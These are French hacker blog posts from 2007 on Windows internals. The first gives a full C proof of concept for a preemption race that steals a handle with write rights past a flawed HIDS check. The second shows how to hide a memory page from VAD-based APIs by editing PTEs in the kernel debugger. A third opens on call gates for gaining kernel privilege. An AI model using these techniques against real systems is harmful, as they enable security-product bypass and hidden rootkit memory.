Vous me direz qu’a première vue, même si la vérification semble un peu weird, niveau sécu ya pas de soucis. Sauf, sauf, sauf que ! Imaginez, vous êtes entourée de 2 chix ultra cute, légèrement habillé et là, elles commencent à vous … HEWWW trompé de fenêtre, maudits chocapicz, désolé :] Je disais donc, imaginez que le durant la routine de vérification le thread de fasse préempté par un autre thread sous ordre du scheduler. Si, comme de par un hasard magique, le thread se fait préempté juste après avoir ouvert le handle avec les droits passé en params. On se retrouve avec notre process possédant les droits voulu sur l’objet (les handles étant process spécific, je le rappel) durant un court temps. IMAGINEZ qu’a ce moment là on regarde les handles ouvert du process et qu’en voyant ce zoli handle sur notre objet avec les droits voulu on duplique ce handle. GRUUUUTT !
Le concept est intéressant. Reste à l’appliquer … Première, étape, comment faire en sorte que le thread se fasse préempter au bon moment ? On a pas le choix, il faut bruteforcer, on va faire en sorte que le thread qui ouvre l’objet tourne en priority -6 avec l’api SetThreadPriority , tandis qu’en parallèle un autre thread tournera dans le même process en priority +6. Le scheduler privilégiant le second thread devra préempter le premier. Ensuite comme j’ai un dual core, je vais faire tourner les 2 threads sur le core 0 avec l’API SetThreadAffinityMask pour être bien sur qu’aucun des threads ne tourne en parallèle sur l’autre core.
Seconde étape, retrouver le handle. On ne va pas s’amuser à énumérer tous les handles du process, cela est trop compliqué et prendrait trop de temps. On va ruser comme des renards, sachant qu’un handle n’est qu’au final un indice dans une table, il suffit de crée un handle, de récup sa valeur puis de le ferme, en théorie le handle suivant devrait prendre la même valeur.
Ensuite on fait tourner les threads dans des boucles infinies. Le thread chargé de volé le handle va utilisé NtQueryObject pour retrouver le nom du handle supposé. Dans mon exemple j’ai prit le device NUL. S’il trouve le device il duplique le handle et check si l’écrite est disponible dessus :] Si c’est bon on a volé le handle comme désiré. En code ca donne :
#include <windows.h>
#include <stdio.h>
#include "ntdll.h"
#pragma comment (lib, "ntdll.lib");
HANDLE MyCreateFile(
LPCTSTR lpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES lpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,
HANDLE hTemplateFile
)
{
HANDLE hFile;
hFile=CreateFile(lpFileName,
dwDesiredAccess,
dwShareMode,
lpSecurityAttributes,
dwCreationDisposition,
dwFlagsAndAttributes,
hTemplateFile);
//check si l'ouverture est ok
if(hFile==INVALID_HANDLE_VALUE)
return INVALID_HANDLE_VALUE;
printf("Handle value : 0x%x\n", hFile);
//2 cas, soit on demande un ouverture en écriture, alors on close le handle hFile
//et on reouvre le file en GENERIC_READ
//Sinon on renvoie le handle
if(dwDesiredAccess&GENERIC_WRITE)
{
CloseHandle(hFile);
printf("Removing GENERIC_WRITE righ\n");
hFile=CreateFile(lpFileName,
GENERIC_READ, //vire le flag GENERIC_WRITE de dwDesiredAccess
dwShareMode,
lpSecurityAttributes,
dwCreationDisposition,
dwFlagsAndAttributes,
hTemplateFile);
if(hFile!=INVALID_HANDLE_VALUE)
return hFile;
}
else
return hFile;
return INVALID_HANDLE_VALUE;
}
DWORD WINAPI ThreadOpen(LPVOID lpParameter)
{
HANDLE hFile;
while(1)
{
hFile=MyCreateFile("\\\\.\\NUL",
GENERIC_READ|GENERIC_WRITE,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
printf("Error with CreateFile : %d\n", GetLastError());
return 0;
}
CloseHandle(hFile);
}
return 0;
}
DWORD WINAPI ThreadSteal(LPVOID lpParameter)
{
HANDLE hObject, hDup;
ULONG Status, BytesRet;
POBJECT_NAME_INFORMATION pONI;
OBJECT_BASIC_INFORMATION OBI;
while(1)
{
hObject=MyCreateFile("C:\\Windows\\explorer.exe",
GENERIC_READ,
FILE_SHARE_READ|FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(hObject==INVALID_HANDLE_VALUE)
{
printf("Error with CreateFile : %d\n", GetLastError());
goto cleanup;
}
CloseHandle(hObject);
printf("Next supposed handle value : 0x%x\n", hObject);
/*******************NAME*****************/
pONI=(POBJECT_NAME_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_PATH);
Status=ZwQueryObject(hObject,
ObjectNameInformation,
pONI,
MAX_PATH,
&BytesRet);
if(Status!=STATUS_SUCCESS) // si c'est bon cette fois ci
{
//printf("Error with NtQueryObject (ObjectNameInformation) : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
goto cleanup;
}
if(pONI->Name.Length)
wprintf(L"%s\n", pONI->Name.Buffer);
else
printf("\n");
if(wcscmp(pONI->Name.Buffer, L"\\Device\\Null")==0)
{
//printf("Duplicating handle ...\n");
Status=ZwDuplicateObject(GetCurrentProcess(),
hObject,
GetCurrentProcess(),
&hDup,
0,
false,
DUPLICATE_SAME_ACCESS);
if(Status!=STATUS_SUCCESS)
{
printf("Error with NtDuplicateObject : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
goto cleanup;
}
/*
sort un result zarb ...
Status=ZwQueryObject(hDup,
ObjectBasicInformation,
&OBI,
sizeof(OBI),
&BytesRet);
if(Status!=STATUS_SUCCESS)
{
printf("Error with NtQueryObject : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
goto cleanup;
}
printf("OBI.GrantedAccess : 0x%x\n", OBI.GrantedAccess);
*/
if(!WriteFile(hDup, "bouh", strlen("bouh"), &BytesRet, 0))
printf("FUCKED\n");
printf("Getting handle with full rights \\o/\n");
HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, pONI);
CloseHandle(hObject);
ExitThread(0);
}
cleanup:
HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, pONI);
CloseHandle(hObject);
}
return 0;
}
int main()
{
DWORD TID;
HANDLE hThreadOpen, hThreadSteal;
hThreadSteal=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadSteal, NULL, 0, &TID);
if(hThreadSteal==NULL)
{
printf("Error with CreateThread : %d\n", GetLastError());
return 0;
}
SetThreadPriority(ThreadSteal, 6);
SetThreadAffinityMask(hThreadSteal, 0);
hThreadOpen=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadOpen, NULL, 0, &TID);
if(hThreadOpen==NULL)
{
printf("Error with CreateThread : %d\n", GetLastError());
return 0;
}
SetThreadPriority(hThreadOpen, -6);
SetThreadAffinityMask(hThreadOpen, 0);
//wait le ThreadSteal
WaitForSingleObject(hThreadSteal, INFINITE);
TerminateThread(hThreadOpen, 0);
CloseHandle(hThreadSteal);
CloseHandle(hThreadOpen);
return 0;
}
En pratique ca sort :
C:\ProgHack\c>prempt
[...]
Removing GENERIC_WRITE righ
Error with NtDuplicateObject : 0xc0000008 : 6
Handle value : 0x7d8
Next supposed handle value : 0x7d8
Handle value : 0x7d8
\Device\Null
Getting handle with full rights \o/
Evidemment, c’est attaque est a appliqué sur un thread utilisant un syscall checké par un HDIS mal foutu. La je le fais en user-land pour vous montrer une application. Le reste dépend de vous
Je vous file le code+bin ici :
http://ivanlef0u.fr/repo/Preempt.rar
Bien évidemment il est possible d’empêcher le fait qu’un code se fasse préempté en utilisant des Critical Sections.
Sinon 2 docs qui valent le coup d’être lues :
What Every Programmer Should Know About Memory
Understanding Full Virtualization, Paravirtualization, and Hardware Assist
Enfin IRC, la ou tout est possible
<presonic_> WUSUP PUSSIES
<zmda> someone is teaching me kernel hacking
<presonic_> cool
<zmda> [06:47] <[I]shTuS> i mean with the PAX thing
<zmda> [06:47] <zmda> i want to bypass its features
<zmda> [06:47] <zmda> i found a 0day
<zmda> [06:47] <zmda> in the linux tcpip stack
<zmda> [06:48] <zmda> ip_queue_xmit() or something
<zmda> [06:55] <[I]shTuS> how many bytes does it take to overflow?
<zmda> [06:57] <zmda> 4gig i think
<presonic_> lol
<presonic_> 4 gig
<zmda> [07:03] <[I]shTuS> exact ammount of data + 4 bytes to change eip to a CALL ESP instruction + your code that binds a shell or something
<zmda> [07:07] <zmda> it's an integer overflow
<zmda> [07:07] <zmda> that triggers off a slab allocator overflow
<zmda> [07:08] <[I]shTuS> hmm what is a slab allocator overflow?...
<zmda> [07:08] <[I]shTuS> never heared of it
<zmda> he said he was deep into kernel exploitation
<zmda> at the start
<zmda> [07:08] <[I]shTuS> int overflow leads to buffer overflow
<zmda> [07:09] <[I]shTuS> http://en.wikipedia.org/wiki/Buffer_overflow
novembre 24th, 2007
Il y des jours comme ca, on croit avoir une bonne idée, on commence à coder un peu, sans trop réfléchir, pour se rendre compte qu’en fait, c’est super chaud ce qu’on veut faire … C’est marrant de voir comment on peut chier dans la colle parfois. J’étais en train de ranger ma collection de RSS (170 au total) quand je me suis dit qu’on devait pouvoir tricker avec la mémoire user-land non explorée.
Je me suis donc coder un petit prog qui alloue les dernières portions de mémoire avant l’adresse 0×80000000.
#include <windows.h>
#include <stdio.h>
#pragma comment (lib, "ntdll.lib")
extern "C" ULONG __stdcall NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);
ULONG main(int argc, char * argv[])
{
ULONG Status, Size=0x1000, A;
PVOID Addr;
for(A=0x70, Addr=0; A<0x80; A++, Addr=0)
{
Addr=(PVOID)((A<<24)+0xFF0000);
printf("Addr: 0x%x\n", Addr);
Status=NtAllocateVirtualMemory((HANDLE)-1, &Addr, 0, &Size,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
if(Status)
printf("Error with NtAllocateVirtualMemory : 0x%x\n", Status);
else
printf("RULZ\n");
VirtualFree(Addr, Size, MEM_RELEASE);
}
return 0;
}
A l’exécution j’obtiens :
[...]
Addr: 0x7dff0000
RULZ
Addr: 0x7eff0000
RULZ
Addr: 0x7fff0000
Error with NtAllocateVirtualMemory : 0xc00000f0
WTF avec l’addr 0x7fff00, la fonction NtAllocateVirtualMemory renvoie STATUS_INVALID_PARAMETER_2, qui veut dire que l’adresse d’allocation n’est pas bonne … Un petit doute s’empare de moi, ai-je mal retenu la limite entre le user-land et le kernel ? OK je sors le kd et je dump quelques constantes :
kd> ? poi(nt!MmSystemRangeStart)
Evaluate expression: -2147483648 = 80000000
Cool, le kernel-land commence bien en 0×80000000. Je regarde l’adresse user-land la plus élevée possible qui normalement devrait être 0x7fffffff :
kd> ? poi(nt!MmHighestUserAddress)
Evaluate expression: 2147418111 = 7ffeffff
Bim en plein dans mon cul, la fonction NtAllocateVirtualMemory vérifie que l’adresse d’allocation + la taille demandé ne dépasse pas MmHighestUserAddress et renvoie une erreur sinon. Un rapide calcul nous montre que MmSystemRangeStart-MmHighestUserAddress=0×1001, soit 4Ko (une page !) allant de 0x7fff000 à 0x7fffffff qui ne seront jamais utilisé par le process.
J’étais donc partit sur l’idée d’exploiter cette sorte de no man’s land pour y cacher des dates, du codes, voir même des chocapicz. Comme la seule fonction user-land capable d’allouer de la mémoire est NtAllocateVirtualMemory il me fallait concevoir à driver qui allait servir à ajouter cette zone mémoire dans le context de mon process.
Avec mon driver il est évident que je n’allais pas utiliser ZwAllocateMemory, j’ai donc décidé de jouer avec les MDL. Processus classique, j’alloue un buffer de la taille d’une page (PAGE_SIZE) dans la paged pool du kernel avec ExAllocatePoolWithTag puis je crée un MDL avec IoAllocateMdl qui représente la page de ce buffer. Ensuite MmProbeAndLockPages pour que ma page soit résidente en mémoire (jamais swappée) et enfin MmMapLockedPagesSpecifyCache pour mapper ma page à l’adresse 0x7fff0000 et là c’est le drame ! MmMapLockedPagesSpecifyCache contrôle aussi que l’allocation se fait bien à une adresse inférieure à 7ffeffff, ouinnz !
A partir de ce moment, je commence à désespérer, je sens que j’ai encore eu une idée en mousse. Arrive un moment ou je me dis que la solution la plus évidente serait d’ajouter moi même ma page dans l’espace mémoire du process. Mais pour cela, il faut s’attaquer à l’enfer qu’est la pagination … Pour ceux qui connaissent déjà, ils peuvent sauter ce post et m’aider un coder mon tool
Bion, un process dispose d’un espace user-land de 2Go virtuellement disponible. Cela signifie qu’il existe un mécanisme faisant croire au process qu’il dispose de 2Go de RAM alors qu’en réalité vous en avez juste assez pour faire tourner démineur sous Vista, c’est à dire 1 Go :p. Concrètement, le process manipule des addresse virtuelles qui peuvent aller de 0×0000000 à 0x7ffeffff, le système va effectuer une translation d’adresse pour retrouver l’adresse physique correspondante dans la RAM. Comme il ya au maximum 4GO de RAM allouable sur un système x86 32 bits il existe une extension kernel appelée PAE qui permet de profiter pleinement de toute votre mémoire, je ne m’attarderais pas dessus.
Chaque process va donc allouer son codes et ses datas dans les zones mémoire de son choix, seules les pages nécessaires seront utilisées physiquement. Cependant comme un programme à son propre espace mémoire de 2Go, il faut bien évidement que l’adresses 0×400000 ne renvoie pas sur la même adresse physique pour le processs A et pour le process B. C’est là qu’on rentre dans le principe de la pagination.
En gros chaque process possède une table qui lui est propre, servant à translater les adresses virtuelles en adresses physiques. Cette table se présente sous la forme d’un tableau de tableaux. Le premier tableau contient des Page Directorie Entries (PDE), le second des Page Table Entries (PTE). Chaque process possède 1024 (0×400) PDE et chaque PDE possède 1024 PTEs. Un PTE représente un page mémoire c’est à dire 4Ko. Si on calcul, 1024*1024*4096=2^32, on a bien toute notre mémoire de représentée. Les PDE et PTE on la forme suivante :

Pour plus d’infos je vous laisse lire les man intels. Ce qu’il faut retenir ce sont les champs « Page-Table Base Address » et « Page Base Address ». En fait, un PDE va référencer un PTE à travers son l’indice de sa page dans la RAM. Par exemple si j’ai un PDE avec un Page-Table Base Address de 0×879, alors ma table de PTEs commence à 0×879*PAGE_SIZE en RAM. Une adresse virtuelle sert à indiquer quels PDE et PTE sont utilisés pour retrouver son adresse physique. Celle-ci est découpée en 3 parties comme vous le voyez sur le schéma suivant :

Si je prends l’adresse virtuelle 0x7e390000 alors l’indice du PDE parmi les 1024 existant est 0x1f8 :
kd> ? 7e390000 >>0x16
Evaluate expression: 504 = 000001f8
L’indice de son PTE parmit les 1024 est 0×390 :
kd> ? (7e390000 & 3FF000)>>0xC
Evaluate expression: 912 = 00000390
Les 12 derniers bytes servent à indiquer à quel offset nos données se trouvent dans la page. Au final on a donc :

J’ai aussi dit que chaque process avait sa propre table de PDEs. Cela est réalisé grâce au registre cr3 qui contient l’adresse physique du tableau de PDE, on retrouve cette valeur dans l’KPROCESS dans le champ DirectoryTableBase (offset 0×18) :
804e3592 cc int 3
kd> !process -1
PROCESS 84256da0 SessionId: 0 Cid: 02d4 Peb: 7ffd5000 ParentCid: 03ac
DirBase: 01d62000 ObjectTable: e110bef8 HandleCount: 23.
Image: instdrv.exe
VadRoot ffa5c058 Vads 31 Clone 0 Private 48. Modified 1334. Locked 0.
DeviceMap e1716068
Token e1110040
ElapsedTime 06:17:31.720
UserTime 00:00:00.040
KernelTime 00:00:00.440
QuotaPoolUsage[PagedPool] 15360
QuotaPoolUsage[NonPagedPool] 1240
Working Set Sizes (now,min,max) (322, 50, 345) (1288KB, 200KB, 1380KB)
PeakWorkingSetSize 322
VirtualSize 12 Mb
PeakVirtualSize 12 Mb
PageFaultCount 319
MemoryPriority BACKGROUND
BasePriority 8
CommitCharge 91
THREAD ffa07030 Cid 02d4.02bc Teb: 7ffdf000 Win32Thread: e1117d90 WAIT: (WrUserRequest) UserMode Non-Alertable
80dd8138 SynchronizationEvent
kd> dt nt!_KPROCESS 84256da0
+0x000 Header : _DISPATCHER_HEADER
+0x010 ProfileListHead : _LIST_ENTRY [ 0x84256db0 - 0x84256db0 ]
+0x018 DirectoryTableBase : [2] 0x1d62000
[..]
A noter que le tableau des PDEs se retrouve toujours à l’adresse virtuelle 0xC0300000
Maintenant on va prendre un exemple concret ! Dans le cas suivant, j’ai fait en sorte que KD se retrouve dans le context d’un process nommé instdrv.exe.
kd> .process /i 84256da0
You need to continue execution (press 'g' ) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
kd> g
Break instruction exception - code 80000003 (first chance)
nt!RtlpBreakWithStatusInstruction:
804e3592 cc int 3
kd> !peb
PEB at 7ffd5000
InheritedAddressSpace: No
ReadImageFileExecOptions: No
BeingDebugged: No
ImageBaseAddress: 00400000
Ldr 00191e90
Ldr.Initialized: Yes
Ldr.InInitializationOrderModuleList: 00191f28 . 00192258
Ldr.InLoadOrderModuleList: 00191ec0 . 001922e8
Ldr.InMemoryOrderModuleList: 00191ec8 . 001922f0
Base TimeStamp Module
400000 3b6a692f Aug 03 11:04:47 2001 C:\mdl\instdrv.exe
7c910000 41109627 Aug 04 09:54:15 2004 C:\WINDOWS\system32\ntdll.dll
7c800000 46239be7 Apr 16 17:53:11 2007 C:\WINDOWS\system32\kernel32.dll
77da0000 411095e8 Aug 04 09:53:12 2004 C:\WINDOWS\system32\ADVAPI32.dll
77e50000 46923412 Jul 09 15:11:46 2007 C:\WINDOWS\system32\RPCRT4.dll
77fc0000 4110961d Aug 04 09:54:05 2004 C:\WINDOWS\system32\Secur32.dll
7e390000 45f02dce Mar 08 16:37:50 2007 C:\WINDOWS\system32\USER32.dll
77ef0000 4677dae9 Jun 19 15:32:25 2007 C:\WINDOWS\system32\GDI32.dll
SubSystemData: 00000000
ProcessHeap: 00080000
ProcessParameters: 00020000
WindowTitle: 'C:\mdl\instdrv.exe'
ImageFile: 'C:\mdl\instdrv.exe'
CommandLine: '"C:\mdl\instdrv.exe" '
DllPath: 'C:\mdl;C:\WINDOWS\system32;C:\WINDOWS\system;C:\WINDOWS;.;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem'
Environment: 00010000
ALLUSERSPROFILE=C:\Documents and Settings\All Users
APPDATA=C:\Documents and Settings\fu\Application Data
CLIENTNAME=Console
CommonProgramFiles=C:\Program Files\Fichiers communs
COMPUTERNAME=FU
ComSpec=C:\WINDOWS\system32\cmd.exe
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
HOMEPATH=\Documents and Settings\fu
LOGONSERVER=\\FU
NUMBER_OF_PROCESSORS=1
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 15 Model 72 Stepping 2, AuthenticAMD
PROCESSOR_LEVEL=15
PROCESSOR_REVISION=4802
ProgramFiles=C:\Program Files
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\WINDOWS
TEMP=C:\DOCUME~1\fu\LOCALS~1\Temp
TMP=C:\DOCUME~1\fu\LOCALS~1\Temp
USERDOMAIN=FU
USERNAME=fu
USERPROFILE=C:\Documents and Settings\fu
windir=C:\WINDOWS
_NT_SYMBOL_PATH=SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols
Ok on peut voir que le tableau de PDEs de se process se trouve à l’adresse physique 0x01d62000 en regardant le registre cr3.
kd> r cr3
cr3=01d62000
La table des PDEs se trouve donc en à l’adresse physique 0x01d62000 :
kd> !dd 01d62000l 400
# 1d62000 0ade4067 0699a067 00000000 00000000
# 1d62010 00000000 00000000 00000000 00000000
# 1d62020 00000000 00000000 00000000 00000000
# 1d62030 00000000 00000000 00000000 00000000
# 1d62040 00000000 00000000 00000000 00000000
# 1d62050 00000000 00000000 00000000 00000000
# 1d62060 00000000 00000000 00000000 00000000
# 1d62070 00000000 00000000 00000000 00000000
[...]
On la retrouve bien à l’adresse virtuelle 0xC0300000 :
kd> dd 0xC0300000 l 400
c0300000 0ade4067 0699a067 00000000 00000000
c0300010 00000000 00000000 00000000 00000000
c0300020 00000000 00000000 00000000 00000000
c0300030 00000000 00000000 00000000 00000000
c0300040 00000000 00000000 00000000 00000000
c0300050 00000000 00000000 00000000 00000000
c0300060 00000000 00000000 00000000 00000000
c0300070 00000000 00000000 00000000 00000000
[...]
Maintenant je prends la DLL user32.dll qui commence à l’adresse virtuelle 0x7e390000 :
kd> db 7e390000
7e390000 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ..............
7e390010 b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@.......
7e390020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
7e390030 00 00 00 00 00 00 00 00-00 00 00 00 d8 00 00 00 ................
7e390040 0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68 ........!..L.!Th
7e390050 69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f is program canno
7e390060 74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20 t be run in DOS
7e390070 6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00 mode....$......
Ok PE Header classique. On va retrouver l’adresse physique correspondant à 0x7e390000. C’est partit, d’abord on calcul l’indice du PDE :
PDE
kd> ? 7e390000 >> 16
Evaluate expression: 504 = 000001f8
Ok il est à l’indice 0x1F8 dans le tableau. Pour afficher son contenu on a 2 choix, soit on utilise l’addresse virtuelle C0300000 soit l’adresse physique 0x01d6200 (la commande !dd affiche le contenu à l’adresse phys passée en argument) :
kd> dd C0300000+1f8*4 l 1
c03007e0 07ed7067
kd> !dd 0x01d62000+1f8*4 l 1
# 1d627e0 07ed7067
Ok on a le PDE. La suite, trouvé le PTE, on prend l’adresse 0x7e390000 et on extrait l’indice du PTE :
<
PTE
kd> ? (7e390000 & 3FF000)>>C
Evaluate expression: 912 = 00000390
Le PTE se trouve à l’indice 0×390. Grâce au PDE on connait l’adresse physique de la table des PTEs (7ed7*1000), il suffit de faire l’opération suivante pour connaître le contenu du PTE :
kd> !dd (7ed7*1000)+390*4 l 1
# 7ed7e40 078e8025
On y est presque, pour ceux qui on survécu la délivrance est proche ! Le champ Page Base Address du PTE nous indique l’indice de la page physique qui contient nos données. Il suffit donc de faire (PTE.Page_Base_Address)*PAGE_SIZE+Offset pour retrouver nos datas (ici l’offset est nul) :
kd> !db 78e8*1000
# 78e8000 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ..............
# 78e8010 b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@.......
# 78e8020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
# 78e8030 00 00 00 00 00 00 00 00-00 00 00 00 d8 00 00 00 ................
# 78e8040 0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68 ........!..L.!Th
# 78e8050 69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f is program canno
# 78e8060 74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20 t be run in DOS
# 78e8070 6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00 mode....$.......
Wootz on retrouve notre en-tête PE de user32.dll.
Vous ne inquietez pas, il existe des commandes fournit par le kernel debuggger pour retrouver l’indice de la page physique correspond à notre adresse virtuelle. Par exemple, il y a la commande !pte :
kd> !pte 7e390000 (user32.dll)
VA 7e390000
PDE at C03007E0 PTE at C01F8E40
contains 07ED7067 contains 078E8025
pfn 7ed7 ---DA--UWEV pfn 78e8 ----A--UREV
Et la commande !vtop :
kd> !vtop 0 7e390000
Pdi 1f8 Pti 390
7e390000 078e8000 pfn(078e8)
Plus d’aide je vous laisse lire l’aide de Windbg sur le sujet.
Revenons à notre problème. Je veux utiliser la page disponible à l’adresse virtuelle 0x7fff0000, comment faire ? Simple, ajouté un PTE au bon endroit :] exemple avec calc.exe
kd> !process 0 0
[...]
PROCESS ffba2030 SessionId: 0 Cid: 0104 Peb: 7ffd5000 ParentCid: 03c0
DirBase: 00246000 ObjectTable: e15b1f30 HandleCount: 25.
Image: calc.exe
kd> .process /i ffba2030
You need to continue execution (press 'g' ) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
kd> g
Break instruction exception - code 80000003 (first chance)
nt!RtlpBreakWithStatusInstruction:
804e3592 cc int 3
kd> db 7fff0000
7fff0000 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
7fff0010 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
7fff0020 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
7fff0030 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
7fff0040 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
7fff0050 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
7fff0060 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
7fff0070 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
On voit bien que la page 0x7fff0000 est invalide. Si on regarde son PTE on peut voir :
kd> !pte 0x7fff0000
VA 7fff0000
PDE at C03007FC PTE at C01FFFC0
contains 0079C067 contains 00000000
pfn 79c ---DA--UWEV
Le PTE n’est pas présent, il n’y donc pas de pages physiques référençant cette zone mémoire. Ce que veux dire qu’un simple mov eax, dword ptr [0x7FFF000] nous générera une exception. Maintenant je regarde le PTE qui référence l’ImageBase de calc.exe
kd> !pte 1000000 (calc.exe ImageBase)
VA 01000000
PDE at C0300010 PTE at C0004000
contains 0024E067 contains 0C60C025
pfn 24e ---DA--UWEV pfn c60c ----A--UREV
Le PTE est présent, normal, je copie son contenu à l’adresse virtuelle 0xC01FFFC0 qui contient la valeur du PTE pour l’adresse virtuelle 0x7fff0000.
kd> ed C01FFFC0 0C60C025
kd> db 7fff0000
7fff0000 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ..............
7fff0010 b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@.......
7fff0020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
7fff0030 00 00 00 00 00 00 00 00-00 00 00 00 f0 00 00 00 ................
7fff0040 0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68 ........!..L.!Th
7fff0050 69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f is program canno
7fff0060 74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20 t be run in DOS
7fff0070 6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00 mode....$.......
Ho le joli mapping :]. J’ai mappé la page qui contient le PE header de calc.exe à la l’adresse virtuelle 0x7fff0000, c’est pas beau ca ! Juste pour être sur, j’attache olly sur le calc.exe et je le lance l’instruction MOV EAX,DWORD PTR DS:[7FFF0000], hoo pas d’exception, eax contient bien 0x00905A4D, youpilol !
Bien évident faire cette opération from scratch sous KD ce n’est pas vraiment conseillé, néanmoins ca montre que c’est possible. Je vais essayer d’implémenter cela dans mon driver et je releaserais le code plus tard.
Grâce à cette technique on a pu voir qu’il est possible de profiter de le page mémoire se trouvant à la plus haute adresse user-land. Après libre à nous d’y mettre ce qu’on veut. En le faisant de cette manière on profite du fait que les VADs (Virtual Address Descriptors) décrivant l’utilisation de l’espace mémoire de notre process ne sont pas mis à jour ce qui rend cette zone mémoire invisible aux API comme NtQueryVirtualMemory. Pour savoir que la page est présente il faut y accéder.
Pendant que j’y suis je voudrais rappeler l’existence de la technique du Shadow Walker qui consiste en gros à faire croire qu’une page est swappée sur le disque quand on tente d’y accéder. Après si c’est une lecture/écriture on dirige la requête vers une page « clean ». Je vous laisse lire l’article de phrack à ce sujet puis l’article/code d’un pote, b0l0k qui je trouve n’a pas eu le succès escompté.
J’essaierais d’y revenir plus tard dessus. En attendant j’espère que vous avez apprécié l’idée de jouer avec la page perdue !
ref :
Address Tanslation
http://book.itzero.com/read/microsoft/0507/microsoft.press.microsoft.windows.internals.fourth.edition.dec.2004.internal.fixed.ebook-ddu_html/0735619174/ch07lev1sec5.html
Intel Manuals, Windows Internals, google et autres …
novembre 12th, 2007
Retour aux sources avec aujourd’hui du bon assembleur x86 et de la prog système. Je voudrais vous présenter un mécanisme peu utilisé disponible sur l’architecture x86 qu’est la CallGate. Avant de commencer je vous invite à lire le précédent post Segmentation Fault qui montre les concepts de la segmentation et les relations entre les segments et la GDT (Global Descriptor Table) sous Windows.
Toujours dans l’optique de corrompre un système, il peut être intéressant quand on est administrateur d’avoir la possibilité d’exécuter du code avec les privilèges kernel. Dans le cas ou on n’a pas envie de coder un driver pour modifier la SSDT/IDT/GDT ou toute autre structures kernel il faut jouer avec l’architecture x86.
Le CPL (Current Privilege Level) d’un thread est indiqué par ses segments, il y en a 6, CS, DS, ES, FS, GS et SS. CS est le segment de code, (celui fait référence à la partie de la mémoire contenant le code à être exécuté), SS est le segment de stack, DS, ES, FS et GS sont des segments de données. Sous Windows GS n’est pas utilisé et FS représente une zone mémoire contenant des structures importantes (TEB en user-land KPCR en kernel-land). Chaque segment selector possède la forme suivante :

Le RPL (Required Privilege Level) indique à quel niveau de privilège doit fonctionner le segment, le champ TI (Table Indicitor) nous indique si on doit lire le Segment Descriptor dans la LDT (Local Descriptor Table) ou la GDT. Justement en parlant de Segment Descriptor, ceux-ci sont référencés à travers le champ Index du segment. L’Index correspond à l’indice du Segment Descriptor dans la GDT qui se situe bien cachée dans le kernel-land. Pour mieux comprendre prenons les valeurs des segments user-land :
userland segments :
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
0x1B= 11 0 11
0x23= 100 0 11
0x3B= 111 0 11
